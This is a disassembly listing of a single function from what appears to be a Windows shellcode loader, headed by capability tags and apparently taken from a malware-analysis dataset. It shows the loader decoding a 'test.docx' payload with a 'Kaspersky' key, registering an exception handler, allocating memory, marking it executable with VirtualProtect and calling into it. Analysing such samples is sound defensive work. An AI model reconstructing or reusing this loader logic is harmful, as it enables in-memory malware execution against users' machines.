Function at 0x140002ff0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov rax, qword [0x14001d110]
xor rax, rsp
mov qword [rbp + 0x20], rax
call fcn.140002640
test al, al
je 0x140003038
lea rdx, str.Download_successful._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
jmp 0x140003046
lea rdx, str.Download_failed._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140004e40
xor r14d, r14d
mov qword [rbp], r14
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x18], recv
mov byte [rbp], r14b
lea r8d, [r14 + 9]
lea rdx, str.test.docx
lea rcx, [rbp]
call fcn.140004c90
nop
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], recv
mov byte [rbp - 0x40], r14b
lea r8d, [r14 + 9]
lea rdx, str.test.docx
lea rcx, [rbp - 0x40]
call fcn.140004c90
nop
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], recv
mov byte [rbp - 0x60], r14b
lea r8d, [r14 + 9]
lea rdx, str.Kaspersky
lea rcx, [rbp - 0x60]
call fcn.140004c90
nop
lea r8, [rbp - 0x60]
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x20]
call fcn.140001da0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], rax
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x78]
call fcn.140001810
nop
lea rdx, [rbp - 0x78]
lea rcx, [rsp + 0x50]
call fcn.140001aa0
nop
mov rax, qword [rsp + 0x60]
lea r8, [rax - 2]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], socket
cmp rax, r8
cmovb r8, rax
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.140004c90
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x140003180
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000317b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003318
call fcn.14001563c
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rsp + 0x60], xmm1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rax
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.1400015f0
nop
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [0x14001dbb8], rax
lea rdx, [0x140001490]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
test rax, rax
jne 0x1400031f3
lea rcx, [0x140018828]
call fcn.140001060
jmp 0x1400032e6
call fcn.140008ac0
call fcn.140007d80
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
call fcn.1400082a0
lea rdx, [0x140001540]
lea rcx, [0x14001dbc8]
call fcn.140007580
lea rdx, [0x140001590]
lea rcx, [0x14001dbc0]
call fcn.140007580
call fcn.140007df0
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
xor r9d, r9d
lea r8, [0x1400014f0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
sub rcx, qword [rsp + 0x70]
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
mov rbx, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x70]
sub rbx, rdx
mov r8, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov edi, ebx
mov r9d, 4
mov r8d, 0x1000
mov edx, ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov qword [0x14001dba0], rax
mov r8d, edi
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea r9, [0x14001dbb0]
mov r8d, 0x40
mov edx, edi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [0x14001dba0]
nop
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x140003331
mov rdx, qword [rbp - 0x80]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000331f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000331f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001563c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r14
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x140003371
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000336c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000336c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001563c
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], socket
mov byte [rsp + 0x50], 0
mov rcx, qword [rbp - 0x78]
test rcx, rcx
je 0x1400033cd
mov rdx, qword [rbp - 0x68]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400033bc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400033bc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001563c
mov qword [rbp - 0x78], r14
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x70], xmm0
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14000340b
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003406
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003406
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001563c
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], recv
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x14000345a
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003454
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003454
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001563c
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x140003499
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003493
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003493
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001563c
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x1400034d7
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400034d2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400034d2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001563c
xor eax, eax
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.140015390
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret